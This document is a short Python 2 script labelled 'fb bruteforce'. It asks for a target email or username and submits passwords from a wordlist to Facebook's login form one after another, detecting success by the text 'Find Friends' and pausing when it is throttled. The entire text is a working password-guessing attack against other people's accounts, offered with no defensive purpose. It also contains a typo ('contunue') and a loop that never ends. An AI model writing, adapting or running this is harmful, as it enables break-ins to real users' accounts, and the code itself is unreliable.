fb bruteforce

import time
import sys

if sys.version_info[0] !=2:
    print('''--------------------------------------
    REQUIRED PYTHON 2.x
    use: python fb2.py
--------------------------------------
            ''')
    sys.exit()

post_url='https://www.facebook.com/login.php'
headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
}

try:
    import mechanize
    import urllib2
    browser = mechanize.Browser()
    browser.addheaders = [('User-Agent',headers['User-Agent'])]
    browser.set_handle_robots(False)
except:
    print('\n\tPlease install mechanize.\n')
    sys.exit()

print('\n---------- Welcome To Facebook BruteForce ----------\n')
file=open('passwords.txt','r')

email=str(raw_input('Enter Email/Username : ').strip())

print "\nTarget Email ID : ",email
print "\nTrying Passwords from list ..."

i=0
while file:
    passw=file.readline().strip()
    i+=1
    if len(passw) < 6:
        contunue
    print str(i) +" : ",passw
    response = browser.open(post_url)
    try:
        if response.code == 200:
            browser.select_form(nr=0)
            browser.form['email'] = email
            browser.form['pass'] = passw
            response = browser.submit()
            if 'Find Friends' in response.read():
                print('Your password is : ',passw)
                break
    except:
        print('\nSleeping for time : 5 min\n')
        time.sleep(300)